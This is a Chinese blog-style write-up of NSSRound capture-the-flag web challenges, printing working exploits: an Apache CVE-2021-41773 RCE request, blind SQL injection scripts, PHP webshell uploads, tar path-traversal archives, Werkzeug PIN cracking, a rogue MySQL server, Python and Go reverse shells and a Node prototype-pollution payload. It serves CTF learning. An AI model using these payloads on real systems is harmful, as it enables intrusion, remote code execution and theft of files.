NSSRound做题小记

[NSSRound#1 Basic]basic_check

通过curl -X OPTIONS http://1.14.71.254:28169/index.php -I来查看服务器信息

2023-03-09T17:55:37.png

发现支持PUT协议

于是可以用PUT协议来写文件

2023-03-09T17:55:44.png

[NSSRound#4 SWPU]1zweb

直接读/flag

[NSSRound#4 SWPU]1zweb(revenge)

考虑phar反序列化

由于过滤了__HALT_COMPILER();考虑压缩phar文件再上传

脚本要在kali下跑

用winhex或者010editor之类的来修改参数绕过__wakeup__

import gzip
from hashlib import sha256
with open('phar.phar', 'rb') as file:
    f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('a.png', 'wb') as file:#更改文件后缀
    file.write(newf)

不知道为什么我这里是sha256加密

[NSSRound#4 SWPU]ez_rce

CVE-2021-41773

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 1.14.71.254:28401
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

echo;grep -r "NSSCTF" /flag_is_here

[NSSRound#1 Basic]sql_by_sql

首先我们可以尝试出在修改密码的地方存在二次注入,然后修改admin的密码,发现查询用户处可以sql注入

不过不同的是,这里是SQLite注入

sqlite_master表中爆出表名

2023-03-09T17:56:03.png

写脚本爆出创建时的SQL语句

import requests

url = "http://1.14.71.254:28444/query"

sql = ""

for i in range(1,100):
    for ch in range(1,128):
        res = requests.post(url,
                      data={"id": "1 and substr((SELECT sql FROM sqlite_master limit 1,1),{i},1)='{ch}'".
                            format(i=i, ch=chr(ch))}
                      )
        if res.text == "exist":
            sql = sql + chr(ch)
            break
    print(sql)

得到创建表的语句:

CREATE TABLE "flag" (
  "flag" text(100)
)

再爆出flag

more about sqlite Injection:https://blog.csdn.net/HBohan/article/details/120672745

[NSSRound#7 Team]ec_RCE

action=||&data='cat /flag'

记得闭合引号

[NSSRound#V Team]PYRCE

可以通过pwd来构造/%09来绕过空格

然后cp /flagapp.py或者新建一个static然后cp进去

cp%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)

[NSSRound#7 Team]0o0

泄漏了.DS_Store然后查看源码,发现是一个大杂烩

<?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
}

上一个POC

import requests
import base64
from UrlEncoder import urlencode

url = "http://43.143.7.97:28542/Ns_SCtF.php?NSSCTF[]=2&NsSCTF[]=1&NsScTF=1aa&&NsScTf=data://,Welcome+to+Round7!!!&nss[ctfer.vip=1&NSScTf=0x1BF52&nSScTF=1&nSscTF=NSSRound7"

payload = b"<?php eval($_POST[a]);"

payload = base64.b64encode(payload)

filename1 = "2.png.php"
filename2 = "php://filter/write=convert.base64-decode/resource=" + filename1

data = {
    'submit': 1
}

files = {
    "file": (urlencode(filename2), b'aaa'+payload, "image/png")
}

res = requests.post(url, files=files, data=data)

data = {
    "a": "system('ls');"
}

res = requests.post("http://43.143.7.97:28542/"+filename1, data=data)

print(res.text)

[NSSRound#6 Team]check(V1)

直接弹shell看flag

import tarfile
import requests

with tarfile.open('test.tar', 'w') as tf:
    tf.add('test.sh', '../../../../../tmp/clean.sh')

url = 'http://43.142.108.3:28979/'

file = {
    'file': ('1.tar', open(file='test.tar', mode='rb'))
}

resp = requests.post(url=url+'upload', files=file)
resp = requests.post(url=url+'clean')

[NSSRound#6 Team]check(V2)

直接传软链接上去

import requests

url = "http://43.143.7.127:28064/"

files = {
    "file": ("1.tar", open("a.tar", "rb").read())
}

res = requests.post(url+"upload", files=files)

print(res.text)

res = requests.post(url+"download", data={"filename": "test"})

print(res.text)

[NSSRound#6 Team]check(Revenge)

先弹shell

然后算PIN码,python版本是3.10

app.run那里下断点,然后跟着调一遍

这里开始是重点

2023-03-09T17:56:26.png

2023-03-09T17:56:36.png

下面这里的modname就是flask.app

2023-03-09T17:56:44.png

username应该是root

2023-03-09T17:56:52.png

后面我们得到了probably_public_bits,其中第三个参数是Flask,第四个参数是flask的文件地址

2023-03-09T17:57:00.png

最后得到

probably_public_bits = [
  "root",
  "flask.app",
  "Flask",
  "/usr/local/lib/python3.10/site-packages/flask/app.py"
]

2023-03-09T17:57:11.png

继续跟进private_bits

2023-03-09T17:57:18.png

然后跟进uuid.getnode()

2023-03-09T17:57:25.png

突然想到都弹shell了,为什么不直接在服务器上算呢?

import uuid

def get_machine_id():
    linux = b""

    # machine-id is stable across boots, boot_id is not.
    for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
        try:
            with open(filename, "rb") as f:
                value = f.readline().strip()
        except OSError:
            continue

        if value:
            linux += value
            break

    try:
        with open("/proc/self/cgroup", "rb") as f:
            linux += f.readline().strip().rpartition(b"/")[2]
    except OSError:
        pass

    return linux

private_bits = [str(uuid.getnode()), get_machine_id()]

print(private_bits)

然后直接跑脚本

import hashlib
from itertools import chain

num = None
rv = None

probably_public_bits = [
  "root",
  "flask.app",
  "Flask",
  "/usr/local/lib/python3.10/site-packages/flask/app.py"
]

private_bits = ['2485376954748', b'96cec10d3d9307792745ec3b85c896200551825a1982786ee9409b5d855433801d512c8164d9c7ce0b3198b1e14e3bf7']

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

get_machine_id比较容易看懂,str(uuid.getnode())MAC地址的十进制数值,通过*cat /sys/class/net/eth0/address来获取

这题还有另一个解法,就是覆盖main.py来RCE,也是挺有趣的

[NSSRound#7 Team]ShadowFlag

首先,这题要用python弹shell

act=python3%09-c%09"import%09os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

python使用open读取文件后没有close,所以在/proc/[pid]/fd里面有已经被删除了但进程没结束的文件内容

于是在/proc/16/fd中有flag1:NSSCTF{00c4dcb9-3792

接下来考虑算PIN码,方法与上题类似,只是用户是ctf

最后要记得在/shell里面报错的时候打开DEBUG控制台

得到flag2:-4800-96db-6a4629bf34c1}

[NSSRound#7 Team]新的博客

我菜了TwT,一直没搞明白这个文件上传,也没看出来admin的密码经过了sha512加密

这题就是利用tar.gz解压时的文件覆盖漏洞来修改userinfo.json

通过下载下来的数据来判断文件目录结构

import tarfile

def change_name(tarinfo):
    tarinfo.name = "../conf/userinfo.json"
    return tarinfo

with tarfile.open("exp.tar.gz", "w:gz") as tar:
    tar.add("userinfo.json", filter=change_name)

[NSSRound#3 Team]This1sMysql

非常有趣的一个攻击思路,利用Rogue-MySql-Server读取文件

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
    return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
    if showInfo:
        log = getLogger(__name__)
        log.setLevel(INFO)
        tmp_format = StreamHandler()
        tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
        log.addHandler(
            tmp_format
        )

    def _infoShow(*args):
        if showInfo:
            log.info(*args)

    # ================================================
    # =======No need to change after this lines=======
    # ================================================

    __author__ = 'Gifts'
    __modify__ = 'Morouu'

    global _rouge_mysql_sever_read_file_result

    class _LastPacket(Exception):
        pass

    class _OutOfOrder(Exception):
        pass

    class _MysqlPacket(object):
        packet_header = Struct('<Hbb')
        packet_header_long = Struct('<Hbbb')

        def __init__(self, packet_type, payload):
            if isinstance(packet_type, _MysqlPacket):
                self.packet_num = packet_type.packet_num + 1
            else:
                self.packet_num = packet_type
            self.payload = payload

        def __str__(self):
            payload_len = len(self.payload)
            if payload_len < 65536:
                header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
            else:
                header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

            result = "".join(
                (
                    header.decode("latin1") if checkVersionPy3() else header,
                    self.payload
                )
            )

            return result

        def __repr__(self):
            return repr(str(self))

        @staticmethod
        def parse(raw_data):
            packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
            payload = raw_data[1:]

            return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

    class _HttpRequestHandler(async_chat):

        def __init__(self, addr):
            async_chat.__init__(self, sock=addr[0])
            self.addr = addr[1]
            self.ibuffer = []
            self.set_terminator(3)
            self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
                                                                                                           "Auth",
                                                                                                           "Data",
                                                                                                           "MoreLength",
                                                                                                           "File"]
            self.state = self.stateList[0]
            self.sub_state = self.stateList[1]
            self.logined = False
            self.file = ""
            self.push(
                _MysqlPacket(
                    0,
                    "".join((
                        '\x0a',  # Protocol
                        '5.6.28-0ubuntu0.14.04.1' + '\0',
                        '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                    )))
            )

            self.order = 1
            self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

        def push(self, data):
            _infoShow('Pushed: %r', data)
            data = str(data)
            async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

        def collect_incoming_data(self, data):
            _infoShow('Data recved: %r', data)
            self.ibuffer.append(data)

        def found_terminator(self):
            data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
            self.ibuffer = []

            if self.state == self.stateList[0]:  # LEN
                len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
                    data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
                if len_bytes < 65536:
                    self.set_terminator(len_bytes)
                    self.state = self.stateList[2]  # Data
                else:
                    self.state = self.stateList[3]  # MoreLength
            elif self.state == self.stateList[3]:  # MoreLength
                if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
                    self.push(None)
                    self.close_when_done()
                else:
                    self.state = self.stateList[2]  # Data
            elif self.state == self.stateList[2]:  # Data
                packet = _MysqlPacket.parse(data)
                try:
                    if self.order != packet.packet_num:
                        raise _OutOfOrder()
                    else:
                        # Fix ?
                        self.order = packet.packet_num + 2
                    if packet.packet_num == 0:
                        if packet.payload[0] == '\x03':
                            _infoShow('Query')

                            self.set_terminator(3)
                            self.state = self.stateList[0]  # LEN
                            self.sub_state = self.stateList[4]  # File
                            self.file = fileName.pop(0)

                            # end
                            if len(fileName) == 1:
                                global _rouge_mysql_server_read_file_end
                                _rouge_mysql_server_read_file_end = True

                            self.push(_MysqlPacket(
                                packet,
                                '\xFB{0}'.format(self.file)
                            ))
                        elif packet.payload[0] == '\x1b':
                            _infoShow('SelectDB')
                            self.push(_MysqlPacket(
                                packet,
                                '\xfe\x00\x00\x02\x00'
                            ))
                            raise _LastPacket()
                        elif packet.payload[0] in '\x02':
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        elif packet.payload == '\x00\x01':
                            self.push(None)
                            self.close_when_done()
                        else:
                            raise ValueError()
                    else:
                        if self.sub_state == self.stateList[4]:  # File
                            _infoShow('-- result')
                            # fileContent
                            _infoShow('Result: %r', data)
                            if len(data) == 1:
                                self.push(
                                    _MysqlPacket(packet, '\0\0\0\x02\0\0\0')
                                )
                                raise _LastPacket()
                            else:
                                self.set_terminator(3)
                                self.state = self.stateList[0]  # LEN
                                self.order = packet.packet_num + 1

                            global _rouge_mysql_sever_read_file_result
                            _rouge_mysql_sever_read_file_result.update(
                                {self.file: data.encode() if not checkVersionPy3() else data}
                            )

                            # test
                            # print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

                            self.close_when_done()

                        elif self.sub_state == self.stateList[1]:  # Auth
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        else:
                            _infoShow('-- else')
                            raise ValueError('Unknown packet')
                except _LastPacket:
                    _infoShow('Last packet')
                    self.state = self.stateList[0]  # LEN
                    self.sub_state = None
                    self.order = 0
                    self.set_terminator(3)
                except _OutOfOrder:
                    _infoShow('Out of order')
                    self.push(None)
                    self.close_when_done()
            else:
                _infoShow('Unknown state')
                self.push('None')
                self.close_when_done()

    class _MysqlListener(dispatcher):
        def __init__(self, sock=None):
            dispatcher.__init__(self, sock)

            if not sock:
                self.create_socket(AF_INET, SOCK_STREAM)
                self.set_reuse_addr()
                try:
                    self.bind(('', port))
                except error:
                    exit()

                self.listen(1)

        def handle_accept(self):
            pair = self.accept()

            if pair is not None:
                _infoShow('Conn from: %r', pair[1])
                _HttpRequestHandler(pair)

                if _rouge_mysql_server_read_file_end:
                    self.close()

    _MysqlListener()
    _asyLoop()
    return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':
    for name, content in rouge_mysql_sever_read_file(fileName=["class.php"], port=233,showInfo=True).items():
        print(name + ":\n" + content.decode())

接下来可以读取class.phpfunction.php

class.php中存在POP链,function.php中存在file_exists可以触发反序列化,$conn->set_opt可以设置MYSQLI_INIT_COMMAND来执行任意命令

我们又发现了一个文件mysql.txt 里面有本地数据库的信息

2023-03-09T17:57:50.png

之前的config那里,传入数字3可以修改MYSQLI_INIT_COMMAND

import requests

url = "http://1.14.71.254:28452"

flag = ""

for id in range(1,11):
    for ch in "/abcdefghijklmnopqrstuvwxyz0123456789":
        data = {
            "config[3]": "select if(substr((select @@global .secure_file_priv),{id},1)='{ch}',sleep(3),1);".format(id=id, ch=ch),
            "mysql[host]": "127.0.0.1",
            "mysql[user]": "root",
            "mysql[pass]": "nssctf",
            "mysql[db]": "ctf",
            "mysql[port]": 3306
        }
        try:
            requests.post(url, data=data, timeout=1)
        except:
            flag = flag + ch
            break
    print(flag)

可以爆出文件写入地址为/nssctf/

然后可以写马

import requests

url = "http://1.14.71.254:28452"

data = {
    "config[3]": "select \"<?php eval($_POST[cmd]);?>\" into outfile '/nssctf/shell.php';",
    "mysql[host]": "127.0.0.1",
    "mysql[user]": "root",
    "mysql[pass]": "nssctf",
    "mysql[db]": "ctf",
    "mysql[port]": 3306
}

res = requests.post(url=url, data=data)

print(res.text)

后面的思路就是传phar文件并且触发它

我一开始的POP链思路是利用__wakeup()绕过,但是好像出了点问题

仔细研究了一下,觉得是因为修改元素个数来绕过__wakeup的方法在嵌套的类的反序列化中似乎并不可行

参考WP:https://www.cnblogs.com/Article-kelp/p/16271464.html

[NSSRound#8 Basic]MyDoor

php://filter读源码然后直接RCE

[NSSRound#8 Basic]MyPage

非预期

参考tanji的博客直接RCE

预期解

直接读index.php未果,考虑用/proc/self/root来绕过

http://43.143.7.127:28819/index.php?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

读出源码

然后读出flag

非预期

看了评论区,还可以用pearcmd解决

[NSSRound#8 Basic]Upload_gogoggo

run.go弹shell

package main
import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)
func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
  conn, err := net.Dial("tcp", "ip:port")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}

[NSSRound#8 Basic]ez_node

这里直接给payload了,怎么调出来的下篇博客再说

{
"%d":1,
    "__proto__": {
        "data": {
            "name": "./err.js",
            "exports": {
                ".": "./preinstall.js"
            }
        },
        "path": "/opt/yarn-v1.22.19",
        "npm_config_global": 1,
        "npm_execpath": "--require=/proc/self/environ",
"env":{
"AAA":"require('child_process').execSync('cp /flag /app/public/flag');//"
}
    },
    "toString": null
}

[NSSRound#3 Team]path_by_path

很有趣的题目,问了gtg师傅才会

这题有个有趣的地方,就是在const url = new URL(path, 'http://127.0.0.1:5000');这里,当path是一个合法的URL时,url.toString()就是path

于是我们可以在VPS开一个服务,来返回任意的pf

代码如下:

import json

import tornado.web
import tornado.ioloop

class Handler(tornado.web.RequestHandler):
    def get(self):
        dic = {
            "p": "",
            "f": ""
        }
        self.write(json.dumps(dic))

if __name__ == "__main__":
    app = tornado.web.Application([(r"/", Handler)])
    app.listen(233)
    tornado.ioloop.IOLoop.current().start()

然后我们可以思考如何获取并返回env[FLAG]

首先我们可以尝试:

{
    "p": "info",
  "f": "FLAG"
}

这样确实可以在whoami['info']['FLAG']中存入FLAG

但是由于存在field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name');这句判断:当whoami.field为空时,field变为name

所以我们还需要通过原型链污染来修改whoami.field,即:

{
    "p": "__proto__",
  "f": "field",
  "field": "FLAG"
}

再访问\whoami?public=info&field=FLAG即可